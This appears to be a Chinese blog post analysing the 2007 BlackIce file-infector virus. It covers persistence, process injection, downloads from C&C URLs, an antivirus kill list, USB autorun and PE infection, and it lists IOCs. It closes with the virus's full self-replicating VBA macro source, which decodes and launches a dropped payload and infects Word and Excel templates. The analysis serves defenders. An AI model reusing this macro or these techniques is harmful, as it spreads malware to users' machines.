当前位置: 首页 > news >正文

BlackIce病毒分析

概述

blackice是一个古老的感染型病毒,可感染系统中exe、doc和xls文件,通过USB设备和网络驱动器来传播,会向C&C下载pe执行,会关闭常用的杀软进程。下面找了一个样本,这个样本的代码结构清晰,用IDA pro就能分析明白,是学习感染型病毒分析非常好的素材。

样本的基本信息

Verified: Unsigned
Link date: 18:01 2007/3/3
MachineType: 32-bit
MD5: 50F559EF10B0291332D387AC9149878E

2007年的样本,xp时代的产物

这个样本的icon是xp系统的文件夹图标,用于伪装,诱导用户点击。

分析过程

主线程

样本的结构比较简单,首先创建了一个名为blackicemutex的互斥量,防止双开

然后判断当前系统的版本,不是32位系统的话,直接退出

获取当前系统的MAC地址、C盘序列号和主机名

把自己拷贝到系统目录下,保存为%windir%\system32\blackice.exe和%windir%system32\kernel.exe(注意和kernel32.dll不一样)

注入explorer.exe或taskmgr.exe进程,当病毒进程退出后,重新启动

之后创建了6个线程

  • 线程1 在注册表中创建开机启动项
  • 线程2 向C&C上传主机信息,下载文件执行
  • 线程3 关闭常见的杀软进程
  • 线程4 感染word和excel的模板文件
  • 线程5 检测USB设备的插入,感染USB设备的doc、xls和exe文件
  • 线程6 感染固定驱动器、网络资源和H盘的doc、xls和exe文件

下面我们分析一下几点重点函数

CopySelfToSysDir_404CB2

把自身副本拷贝到系统目录下,保存为C:\windows\system32\blackice.exe和C:\windows\system32\kernel.dll

将C:\windows\system32\blackice.exe的创建时间和最后修改时间设置为2002.1.12,并隐藏该文件

InjectProcess_404384

该函数是用于注入系统进程,当病毒进程退出后,重新启动,用于自我保护

会注入资源管理器或进程管理器进程,在目标进程空间分配内存,写入shellcode和构造好的参数,然后调用CreateRemoteThread执行shellcode

img

shellcode逻辑也非常简单

使用WaitForSingleObject等待病毒进程结束,若%windir%\system32\blackice.exe不存在,将%windir%\system32\kernel.dll拷贝成%windir%\system32\blackice.exe,调用WinExec执行

线程1 SetAutorun_404A71

这个进程是一个死循环

首先在注册表创建了开机启动项

  • HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\run=%windir%\system32\blackice.exe
  • HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\shell=%windir%\system32\blackice.exe

持续检测%windir%\system32\blackice.exe和%windir%\system32\kernel.dll这两个文件是否存在,不存在的话将自身拷贝过去

持续检测注入系统进程的远程线程的句柄,若该线程已经退出,再重新注入

线程2 DownloadAndExecFile_403D93

首先从下面两个链接下载文件,保存为C:\windows\system32\blackice.ini,从中提取出control节的url字段然后删除文件

http://fmtwld.zj.com/blackice/url.txt
http://fmtwld.vicp.net/blackice/url.txt

构造一个url为

control_url/?mac=xxx&serial=xxx&hostname=xxx&version=2.1&downflag=1

这是一个死循环:

删除C:\windows\system32\blackice.ini

等待10分钟

向后台提交当前主机的MAC地址、C盘序列号、主机名,下载一个文件,保存为C:\windows\system32\blackice.ini

若下载失败,2个小时后,再试

从blackice.ini文件中读取url节中的string值,删除ini文件

从这个url_string中下载文件保存在目录C:\windows\system32\下,调用WinExec执行

线程3 KillAv_4051AC

这个线程用来关闭常用的杀软进程

找到模块名中含有下列关键字的进程,将其关闭

NAVAPW32
NAVAPSVC
NMAIN
NAVW32
KVFW
KAVSVCUI
KAVPFW
KAV32
KVXP
KVSRVXP
KVMONXP
KVWSC
KAVSVC
KWATCHUI
RAVMOND
RAVMON
RAVTIMER
RISING
RAV.EXE
IPARMOR
TROJANHUNTER
THGUARD
PFW
EGHOST
ANYVIEW
KASPERSKY
360SAFE

线程4 InfectWordAndExcel_403105

该线程主要用来感染word 和 excel的模板文件

首先调用com接口,获取了office的版本,然后修改注册表,修改word和excel的安全级别

设置如下注册表项

HKEY_CURRENT_USER\software\microsoft\office\[version]\word\security\Level=1
HKEY_CURRENT_USER\software\microsoft\office\[version]\word\security\AccessVBOM=1
HKEY_CURRENT_USER\software\microsoft\office\[version]\excel\security\Level=1
HKEY_CURRENT_USER\software\microsoft\office\[version]\excel\security\AccessVBOM=1

使用函数ConstructVABcode_402055构造恶意的宏代码,这个函数第二个参数为1表示word,为2表示excel,第3个参数为1表示模板文件,为2表示普通文档

将自身的pe采用类base64的加密算法加密后存储在宏代码中

构造的宏代码主要的函数功能如下

接者使用构造好vba代码 感染 %appdata%\Microsoft\Excel\XLSTART\book1.xls

还有word模板文件 %appdata%\Microsoft\Templates\Normal.dot

线程5 InfectUSB_404999

这个线程的主要功能是 检测USB设备的插入,感染USB设备

创建了一个名为watchusb的空窗口

窗口函数 ,检测Msg = WM_DEVICECHANGE 且wParam = DBT_DEVICEARRIVAL的消息,处理USB设备插入消息,创建一个线程感染可移动磁盘

将自身拷贝到可移动磁盘根目录,保存为X:\blackice.exe,并隐藏

在可移动磁盘的根目录,创建一个隐藏的AUTORUN.INF文件,在autorun节的open变量设为X:\blackice.exe

遍历可移动磁盘下所有文件,跳过名为winnt或windows的目录,感染其中的.doc .xls .exe文件,删除.gho文件

感染pe的过程也比较简单

把自身添加到目标pe的资源节中,资源类型为0x1f45,名称为0x1e79

在被感染的pe文件中添加一个名为blackice 的节

在新的节中写入shellcode,这段代码在病毒母体中的va为0x405664,大小为0x5C9

将PE的AddressOfEntryPoint的定位这个节的0x33F处,在当前pe中的va为0x4059a3

分析0x4059a3处的代码

首先检索kernel32.dll的基址,从kernel32.dll的导出表中找到GetProcAddress的地址,然后调用GetProcAddress获取下面这些API的地址

GetTempPathA
GetTempFileNameA
GetModuleHandleA
FindResourceA
LoadResource
SizeofResource
CreateFileA
WriteFile
CloseHandle
WinExec

使用上面这些API,取出资源节的病毒母体(类型为1E79h,名称为1F45h),保存为%temp%\bk_xxx,调用WinExec执行

最后跳转到原来PE的AddressOfEntryPoint去执行

线程6 InfectDrives_403771

该线程主要功能为感染固定驱动器、网络驱动器和H盘

若当天不是星期二、星期四、星期六的话,退出

获取系统中所有的盘符,找到固定驱动器,遍历文件和目录(跳过winnt和windows目录),感染其中的.xls .doc和.exe,遍历深度为3层

遍历系统所有可用的网络资源,感染网络驱动器(跳过winnt和windows目录)中的其中的.xls .doc和.exe,遍历深度为4层

感染H盘,遍历所有文件和目录,跳过winnt和windows目录,感染其中的.xls .doc和.exe

IOC

PE特征
MD5为50F559EF10B0291332D387AC9149878E
图标为文件夹图标文件
%windir%\system32\blackice.exe
%windir%\system32\kernel.exe
%windir%\system32\blackice.ini
%appdata%\Microsoft\Excel\XLSTART\book1.xls
X:\AUTORUN.INF
X:\blackice.exe注册表
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\run=%windir%\system32\blackice.exe
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\shell=%windir%\system32\blackice.exe
HKEY_CURRENT_USER\software\microsoft\office\[version]\word\security\Level=1
HKEY_CURRENT_USER\software\microsoft\office\[version]\word\security\AccessVBOM=1
HKEY_CURRENT_USER\software\microsoft\office\[version]\excel\security\Level=1
HKEY_CURRENT_USER\software\microsoft\office\[version]\excel\security\AccessVBOM=1互斥量
blackicemutex进程
会注入explorer.exe和taskmgr.exe
创建名为watchusb的空窗口网络 
会访问下面两个url
http://fmtwld.zj.com/blackice/url.txt
http://fmtwld.vicp.net/blackice/url.txt被感染的PE特征
被感染的PE文件会增加一个名为blackice的节,资源节中多了一项,资源类型为0x1f45 名称为0x1e79

vba代码

最后学习一下blackice的vba代码,功能比较简单见注释

'<!!blackice>
Private Const base64="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
Private Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, ByVal lpSecurityAttributes As Long, ByVal dwCreationDistribution As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplate As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Byte, ByVal dwNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, ByVal lpOverlapped As Long) As Long
Private Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long,ByVal lpBuffer As String) As Long
Private Declare Function GetTempFileName Lib "kernel32" Alias "GetTempFileNameA" (ByVal lpPathName As String, ByVal lpPrefixString As String, ByVal uUnique As Long, ByVal lpTempFileName As String) As Long' 解密blackice病毒母体,保存为临时文件,运行
Private Sub runblackice()on error resume nextfilestring="512字节的文件内容"filestring=filestring+"512字节的文件内容"filestring=filestring+"512字节的文件内容"filestring=filestring+"512字节的文件内容"'省略部分Dim strTempPath As String * 260Dim strTempFileName As String * 260Dim ret, hFile, NumberofBytesWritten As LongDim W1, W2, W3, W4 As IntegerDim n As LongDim buffer As Byteret = GetTempPath(260, strTempPath)ret = GetTempFileName(Left(strTempPath, ret), "bk_", 0, strTempFileName)hFile = CreateFile(strTempFileName, &H40000000, 0, 0, 2, 0, 0)If hFile = -1 ThenExit SubEnd IfFor n = 1 To Len(filestring) Step 4 '对文件进行解密If Len(Mid(filestring, n, 1)) = 0 ThenW1 = -1ElseW1 = InStr(base64, Mid(filestring, n, 1)) - 1End IfIf Len(Mid(filestring, n + 1, 1)) = 0 ThenW2 = -1ElseW2 = InStr(base64, Mid(filestring, n + 1, 1)) - 1End IfIf Len(Mid(filestring, n + 2, 1)) = 0 ThenW3 = -1ElseW3 = InStr(base64, Mid(filestring, n + 2, 1)) - 1End IfIf Len(Mid(filestring, n + 3, 1)) = 0 ThenW4 = -1ElseW4 = InStr(base64, Mid(filestring, n + 3, 1)) - 1End IfIf W2 >= 0 Thenbuffer = ((W1 * 4 + Int(W2 / 16)) And 255)ret = WriteFile(hFile, buffer, 1, NumberofBytesWritten, 0)End IfIf W3 >= 0 Thenbuffer = ((W2 * 16 + Int(W3 / 4)) And 255)ret = WriteFile(hFile, buffer, 1, NumberofBytesWritten, 0)End IfIf W4 >= 0 Thenbuffer = ((W3 * 64 + W4) And 255)ret = WriteFile(hFile, buffer, 1, NumberofBytesWritten, 0)End IfNextCloseHandle (hFile)Shell strTempFileName	
End Sub'if a2=1 感染.doc文件,依次写入runblackice infectdocument infectnormal document_open 4个函数
Private Sub infectdocument()on error resume nextSet tcodemodule = ThisDocument.VBProject.vbcomponents(1).codemodule Set dcodemodule = ActiveDocument.VBProject.vbcomponents(1).codemodule '获取vba代码If dcodemodule.Lines(1, 1) <> "'<!!blackice>" Then 'vba代码的第一行不为<!!blackice>,说明没有被感染ret = dcodemodule.insertlines(1, "end sub")ret = dcodemodule.insertlines(1, "infectnormal")ret = dcodemodule.insertlines(1, "runblackice")ret = dcodemodule.insertlines(1, "private sub document_open()") '写入document_openstartline = tcodemodule.ProcStartLine("infectnormal", vbext_pk_Proc)nlines = tcodemodule.ProcCountLines("infectnormal", vbext_pk_Proc)ret = dcodemodule.insertlines(1, tcodemodule.Lines(startline, nlines)) '写入infectnormal过程startline = tcodemodule.ProcStartLine("infectdocument", vbext_pk_Proc)nlines = tcodemodule.ProcCountLines("infectdocument", vbext_pk_Proc)ret = dcodemodule.insertlines(1, tcodemodule.Lines(startline, nlines)) '写入infectdocument过程nlines = tcodemodule.ProcCountLines("runblackice", vbext_pk_Proc) + tcodemodule.ProcStartLine("runblackice", vbext_pk_Proc) - 1ret = dcodemodule.insertlines(1, tcodemodule.Lines(1, nlines)) '写入runblackice过程和前面的部分End If
End Sub'if a2=1 感染 normal文件 依次写入 runblackice infectdocument infectnormal document_new document_open
Private Sub infectnormal()on error resume nextSet ncodemodule = NormalTemplate.VBProject.vbcomponents(1).codemoduleIf ncodemodule.Lines(1, 1) <> "'<!!blackice>" ThenSet tcodemodule = ThisDocument.VBProject.vbcomponents(1).codemoduleret = ncodemodule.insertlines(1, "end sub")ret = ncodemodule.insertlines(1, "infectdocument")ret = ncodemodule.insertlines(1, "private sub document_open()")ret = ncodemodule.insertlines(1, "end sub")ret = ncodemodule.insertlines(1, "infectdocument")ret = ncodemodule.insertlines(1, "private sub document_new()")startline = tcodemodule.ProcStartLine("infectnormal", vbext_pk_Proc)nlines = tcodemodule.ProcCountLines("infectnormal", vbext_pk_Proc)ret = ncodemodule.insertlines(1, tcodemodule.Lines(startline, nlines))startline = tcodemodule.ProcStartLine("infectdocument", vbext_pk_Proc)nlines = tcodemodule.ProcCountLines("infectdocument", vbext_pk_Proc)ret = ncodemodule.insertlines(1, tcodemodule.Lines(startline, nlines))nlines = tcodemodule.ProcCountLines("runblackice", vbext_pk_Proc) + tcodemodule.ProcStartLine("runblackice", vbext_pk_Proc) - 1ret = ncodemodule.insertlines(1, tcodemodule.Lines(1, nlines))NormalTemplate.SaveEnd If
End Sub'if a2=1 a3=1 表示当前打开是normal文件,当新的doc文件,创建时感染新文件
Private Sub document_new()infectdocument
End Sub'if a2=1 a3=1 表示当前打开是模板文件,当doc文件打开时,感染文件
Private Sub document_open()infectdocument
End Sub'if a2=1 a3=2 表示当前打开的是doc文件,调用runblackice执行自身,调用infectnormal感染模板文件
Private Sub document_open()runblackiceinfectnormal
End Sub'if a2=2 感染excel文件 依次写入 runblackice infectworkbook infectxlstart infecttemplate workbook_open
Private Sub infectworkbook()on error resume nextSet tcodemodule = ThisWorkbook.VBProject.vbcomponents(1).codemoduleFor Each wb In WorkbooksSet wbcodemodule = wb.VBProject.vbcomponents(1).codemoduleIf wbcodemodule.Lines(1, 1) <> "'<!!blackice>" Then '未感染的话,写入宏代码ret = wbcodemodule.insertlines(1, "end sub")ret = wbcodemodule.insertlines(1, "infecttemplate")ret = wbcodemodule.insertlines(1, "infectxlstart")ret = wbcodemodule.insertlines(1, "runblackice")ret = wbcodemodule.insertlines(1, "private sub workbook_open()")startline = tcodemodule.ProcStartLine("infecttemplate", vbext_pk_Proc)nlines = tcodemodule.ProcCountLines("infecttemplate", vbext_pk_Proc)ret = wbcodemodule.insertlines(1, tcodemodule.Lines(startline, nlines))startline = tcodemodule.ProcStartLine("infectxlstart", vbext_pk_Proc)nlines = tcodemodule.ProcCountLines("infectxlstart", vbext_pk_Proc)ret = wbcodemodule.insertlines(1, tcodemodule.Lines(startline, nlines))startline = tcodemodule.ProcStartLine("infectworkbook", vbext_pk_Proc)nlines = tcodemodule.ProcCountLines("infectworkbook", vbext_pk_Proc)ret = wbcodemodule.insertlines(1, tcodemodule.Lines(startline, nlines))nlines = tcodemodule.ProcCountLines("runblackice", vbext_pk_Proc) + tcodemodule.ProcStartLine("runblackice", vbext_pk_Proc) - 1ret = wbcodemodule.insertlines(1, tcodemodule.Lines(1, nlines))End If	Next
End Sub'if a2=2
Private Sub infectxlstart()on error resume next'若不存在文件 Microsoft\Excel\XLSTART\book1.xls'依次写入 runblackice infectworkbook infectxlstart infecttemplate workbook_deactivateIf UCase(Dir(Application.StartupPath + "\book1.xls")) <> UCase("book1.xls") Then Set tmpbook = Workbooks.AddSet ncodemodule = tmpbook.VBProject.vbcomponents(1).codemoduleSet tcodemodule = ThisWorkbook.VBProject.vbcomponents(1).codemoduleret = ncodemodule.insertlines(1, "end sub")ret = ncodemodule.insertlines(1, "infectworkbook")ret = ncodemodule.insertlines(1, "private sub workbook_deactivate()")startline = tcodemodule.ProcStartLine("infecttemplate", vbext_pk_Proc)nlines = tcodemodule.ProcCountLines("infecttemplate", vbext_pk_Proc)ret = ncodemodule.insertlines(1, tcodemodule.Lines(startline, nlines))startline = tcodemodule.ProcStartLine("infectxlstart", vbext_pk_Proc)nlines = tcodemodule.ProcCountLines("infectxlstart", vbext_pk_Proc)ret = ncodemodule.insertlines(1, tcodemodule.Lines(startline, nlines))startline = tcodemodule.ProcStartLine("infectworkbook", vbext_pk_Proc)nlines = tcodemodule.ProcCountLines("infectworkbook", vbext_pk_Proc)ret = ncodemodule.insertlines(1, tcodemodule.Lines(startline, nlines))nlines = tcodemodule.ProcCountLines("runblackice", vbext_pk_Proc) + tcodemodule.ProcStartLine("runblackice", vbext_pk_Proc) - 1ret = ncodemodule.insertlines(1, tcodemodule.Lines(1, nlines))tmpbook.SaveAs (Application.StartupPath + "\book1.xls")tmpbook.CloseEnd If
End Sub'if a2=2 感染book.xlt
Private Sub infecttemplate()on error resume nextIf UCase(Dir(Application.StartupPath + "\book.xlt")) <> UCase("book.xlt") ThenSet tmpbook = Workbooks.AddSet acodemodule = tmpbook.VBProject.vbcomponents(1).codemoduleSet tcodemodule = ThisWorkbook.VBProject.vbcomponents(1).codemoduleret = acodemodule.insertlines(1, tcodemodule.Lines(1, tcodemodule.CountOfLines))ret = tmpbook.SaveAs(Application.StartupPath + "\book.xlt", xlTemplate)tmpbook.CloseEnd If
End Sub'if a2=2 a3=1  图表、工作表或工作簿被停用时发生此事件
Private Sub workbook_deactivate()infectworkbook
End Sub'if a2=2 a3=2 打开工作簿时 依次调用runblackice infectxlstart infecttemplate
Private Sub workbook_open()runblackiceinfectxlstartinfecttemplate
End Sub

参考资料

  • Blackice.C病毒分析
  • UpdateResource系列函数用法
  • 获取kernel32.dll基址

相关文章:

BlackIce病毒分析

概述 blackice是一个古老的感染型病毒&#xff0c;可感染系统中exe、doc和xls文件&#xff0c;通过USB设备和网络驱动器来传播&#xff0c;会向C&C下载pe执行&#xff0c;会关闭常用的杀软进程。下面找了一个样本&#xff0c;这个样本的代码结构清晰&#xff0c;用IDA pro…...

软件测试基础知识整理(八)- 软件缺陷

目录 一、软件缺陷 1.1 缺陷定义 1.2 缺陷判定标准 1.3 软件缺陷产生的原因 1.4 软件缺陷产生的根源 1.5 软件缺陷信息 1.5.1 缺陷状态 1.5.2 缺陷严重程度 1.5.3 缺陷优先级 1.6 缺陷报告模板 1.7 缺陷报告注意事项 1.8 缺陷跟踪流程 1.9 缺陷数据分析关注的问题 …...

有没有想过一种可能,30岁之后,转行去做IT售前?

灵魂拷问 IT行业的变化是非常迅速的&#xff0c;各种新技术、新产品、新观念、新的业务模式层出不穷&#xff0c;不仅是我们&#xff0c;客户也在不断地学习进步&#xff0c;因此我们注定要终身学习。 IT售前这个岗位为许多IT职场人提供了一种新的选择: 你不需要成为某一方面…...

基于决策树的Ensemble方法在边缘计算中的应用

随着物联网的普及&#xff0c;边缘计算已成为一种重要的技术手段。在边缘计算中&#xff0c;数据的处理和分析都是在设备端进行的&#xff0c;而不是通过云端进行。这种技术可以大大降低网络带宽和响应时间&#xff0c;从而提高了用户体验。但是&#xff0c;边缘设备通常受到计…...

golang常见导致panic的场景

1、越界 常见有数组越界和字符串越界 2、空指针引用 直接引用空指针结构体的字段会引发panic&#xff0c;但调用成员方法里如果没引用结构体的字段不会引发panic 3、断言失败 4、map操作错误 map未初始化&#xff0c;可读不可写。 map的value如果是结构体指针&#xf…...

Python 修改文件权限+只读后几行 can‘t do nonzero end-relative seeks

读后几行使用File Handle : seek 文件处理 # -*- coding: UTF-8 -*-# 打开文件 fo open("runoob.txt", "rw") print "文件名为: ", fo.nameline fo.readline() print "读取的数据为: %s" % (line)# 重新设置文件读取指针到开头 fo.…...

每日学术速递5.25

CV - 计算机视觉 | ML - 机器学习 | RL - 强化学习 | NLP 自然语言处理 Subjects: cs.CV 1.Chupa: Carving 3D Clothed Humans from Skinned Shape Priors using 2D Diffusion Probabilistic Models 标题&#xff1a;Chupa&#xff1a;使用 2D 扩散概率模型从蒙皮形状先验雕…...

GAMES202作业1

目录 Shadow MapCalcLightMVP函数useShadowMap函数Bias函数 最终效果 PCF两个采样函数PCF函数最终效果 PCSSfindBlocker函数PCSS函数最终效果 参考 先放上公式&#xff1a; 后面的积分项是我们在作业0中就做好的blinnphong项&#xff0c;我们要求的就是积分项前&#xff0c;等…...

Android 12.0状态栏居中显示时间和修改时间显示样式

1.概述 在12.0的系统rom定制化开发中,在systemui状态栏系统时间默认显示在左边和通知显示在一起,但是客户想修改显示位置,想显示在中间,所以就要修改SystemUI 的Clock.java 文件这个就是管理显示时间的,居中显示的话就得修改布局文件了 效果图如下: 在这里插入图片描述 …...

湍流的数值模拟方法概述

湍流&#xff0c;又称紊流&#xff0c;是一种极其复杂、极不规则、极不稳定的三维流动。湍流场内充满着尺度大小不同的旋涡&#xff0c;大旋涡尺度可以与整个流畅区域相当&#xff0c;而小漩涡尺度往往只有流场尺度千分之一的数量级&#xff0c;最小尺度旋涡的尺度通过其耗散掉…...

openFast中的陆上风电机组5MW_Land_DLL_WTurb参数详解

文章目录 一、openFAST是什么&#xff1f;二、参数截图三、参数详解 一、openFAST是什么&#xff1f; openFAST是一种开放源代码的工具&#xff0c;为风能工程师提供了用于模拟和设计风力涡轮机的框架。它可以计算风力涡轮机在各种环境条件下的性能&#xff0c;并提供对风力涡…...

“卷”还是“躺平”?职场人如何在工作中找到价值感?

今天不谈技术&#xff0c;只谈进步。 曾经看过一个回答说“职场人最好的姿势是仰卧起坐”。 卷累的就躺&#xff0c;休息好了再继续卷&#xff0c;卷是常态&#xff0c;“仰卧起坐”也好&#xff0c;“卷的姿势”也好&#xff0c;都是在反复“卷起”的过程中寻找一些舒适和平衡…...

《Opencv3编程入门》学习笔记—第二章

《Opencv3编程入门》学习笔记 记录一下在学习《Opencv3编程入门》这本书时遇到的问题或重要的知识点。 第二章 OpenCV 官方例程引导与赏析 openv官方提供的示例程序&#xff1a;具体位于..\opencv\sources\samples\cpp ..\opencv\sources\samples\cpp\tutorial_code路径下存…...

ABP VNext种子数据按顺序插入

ABP VNext种子数据按顺序插入 1.Domain层1.1 新加Author和Book实体1.2 CustomDataSeedDbMigrationService新加方法1.3新加ISowSeed接口1.4 作者和图书种子数据逻辑1.5 新加CustomDataSeedDataSeederContributor 2.EntityFrameworkCore2.1 CustomDataSeedDbContext2.2 生成迁移脚…...

Verilog | FIFO简单实现

FIFO( First Input First Output)简单说就是指先进先出&#xff0c;也是缓存机制的一种&#xff0c;下面是我总结的 FIFO 的三大用途&#xff1a; 1)提高传输效率&#xff0c;增加 DDR 带宽的利用率。比如我们有 4 路视频数据缓存到 DDR 中去&#xff0c;比较笨的方法是&#x…...

设计模式应用场景

设计模式简介 工厂模式&#xff08;Factory Pattern&#xff09;&#xff1a;使用工厂方法创建对象&#xff0c;而不是使用new关键字直接实例化对象。 抽象工厂模式&#xff08;Abstract Factory Pattern&#xff09;&#xff1a;提供一个创建一系列相关对象的接口&#xff0c;…...

还在老一套?STM32使用新KEIL5的IDE,全新开发模式RTE介绍及使用

Keil新版本出来了&#xff0c;推出了一种全新开发模式RTE框架( Run-Time Environment)&#xff0c;更好用了。然而网上的教程资料竟还都是把Keil5当成Keil4来用&#xff0c;直接不使用这个功能。当前正点原子或野火的教程提供的例程虽有提到Keil5&#xff0c;但也是基本上当Kei…...

Java时间类(十一) -- Date类工具类 -- Java获取当天、本周、本月、本年 开始及结束时间

目录 1. 今天的日期如下: 2. DateUtils工具类的源代码: 3. 测试类 1. 今天的日期如下:...

Alma Linux 9.2、Rocky Linux 9.2现在是RHEL 9.2的替代品

随着Red Hat Enterprise Linux (RHEL) 9.2的发布&#xff0c;Alma Linux 9.2和Rocky Linux 9.2成为了RHEL 9.2的备选替代品。这两个Linux发行版旨在提供与RHEL兼容的功能和稳定性&#xff0c;以满足那些需要企业级操作系统的用户需求。本文将详细介绍Alma Linux 9.2和Rocky Lin…...

推荐5款提高生活和工作效率的好帮手

在这个数字化时代,软件工具已经深深地影响和改变了我们的生活和工作。有着各种各样的软件工具,它们都可以在特定的领域内让我们变得更加高效,完成复杂的任务。选择一款适合你的软件工具,不但可以极大地释放生产力,也可以让生活变得更加便捷。 1.桌面图标管理工具——TileIconi…...

系统设计 --- MongoDB亿级数据查询优化策略

系统设计 --- MongoDB亿级数据查询分表策略 背景Solution --- 分表 背景 使用audit log实现Audi Trail功能 Audit Trail范围: 六个月数据量: 每秒5-7条audi log&#xff0c;共计7千万 – 1亿条数据需要实现全文检索按照时间倒序因为license问题&#xff0c;不能使用ELK只能使用…...

Vue2 第一节_Vue2上手_插值表达式{{}}_访问数据和修改数据_Vue开发者工具

文章目录 1.Vue2上手-如何创建一个Vue实例,进行初始化渲染2. 插值表达式{{}}3. 访问数据和修改数据4. vue响应式5. Vue开发者工具--方便调试 1.Vue2上手-如何创建一个Vue实例,进行初始化渲染 准备容器引包创建Vue实例 new Vue()指定配置项 ->渲染数据 准备一个容器,例如: …...

cf2117E

原题链接&#xff1a;https://codeforces.com/contest/2117/problem/E 题目背景&#xff1a; 给定两个数组a,b&#xff0c;可以执行多次以下操作&#xff1a;选择 i (1 < i < n - 1)&#xff0c;并设置 或&#xff0c;也可以在执行上述操作前执行一次删除任意 和 。求…...

Java编程之桥接模式

定义 桥接模式&#xff08;Bridge Pattern&#xff09;属于结构型设计模式&#xff0c;它的核心意图是将抽象部分与实现部分分离&#xff0c;使它们可以独立地变化。这种模式通过组合关系来替代继承关系&#xff0c;从而降低了抽象和实现这两个可变维度之间的耦合度。 用例子…...

什么是VR全景技术

VR全景技术&#xff0c;全称为虚拟现实全景技术&#xff0c;是通过计算机图像模拟生成三维空间中的虚拟世界&#xff0c;使用户能够在该虚拟世界中进行全方位、无死角的观察和交互的技术。VR全景技术模拟人在真实空间中的视觉体验&#xff0c;结合图文、3D、音视频等多媒体元素…...

【无标题】湖北理元理律师事务所:债务优化中的生活保障与法律平衡之道

文/法律实务观察组 在债务重组领域&#xff0c;专业机构的核心价值不仅在于减轻债务数字&#xff0c;更在于帮助债务人在履行义务的同时维持基本生活尊严。湖北理元理律师事务所的服务实践表明&#xff0c;合法债务优化需同步实现三重平衡&#xff1a; 法律刚性&#xff08;债…...

规则与人性的天平——由高考迟到事件引发的思考

当那位身着校服的考生在考场关闭1分钟后狂奔而至&#xff0c;他涨红的脸上写满绝望。铁门内秒针划过的弧度&#xff0c;成为改变人生的残酷抛物线。家长声嘶力竭的哀求与考务人员机械的"这是规定"&#xff0c;构成当代中国教育最尖锐的隐喻。 一、刚性规则的必要性 …...

字符串哈希+KMP

P10468 兔子与兔子 #include<bits/stdc.h> using namespace std; typedef unsigned long long ull; const int N 1000010; ull a[N], pw[N]; int n; ull gethash(int l, int r){return a[r] - a[l - 1] * pw[r - l 1]; } signed main(){ios::sync_with_stdio(false), …...

【仿生机器人】刀剑神域——爱丽丝苏醒计划,需求文档

仿生机器人"爱丽丝"系统架构设计需求文档 一、硬件基础 已完成头部和颈部硬件搭建 25个舵机驱动表情系统 颈部旋转功能 眼部摄像头&#xff08;视觉输入&#xff09; 麦克风阵列&#xff08;听觉输入&#xff09; 颈部发声装置&#xff08;语音输出&#xff09…...

Python网页自动化测试,DrissonPage库入门说明文档

&#x1f6f0;️ 基本逻辑​ 操作浏览器的基本逻辑如下&#xff1a; 创建浏览器对象&#xff0c;用于启动或接管浏览器获取一个 Tab 对象使用 Tab 对象访问网址使用 Tab 对象获取标签页内需要的元素对象使用元素对象进行交互 除此以外&#xff0c;还能执行更为复杂的操作&am…...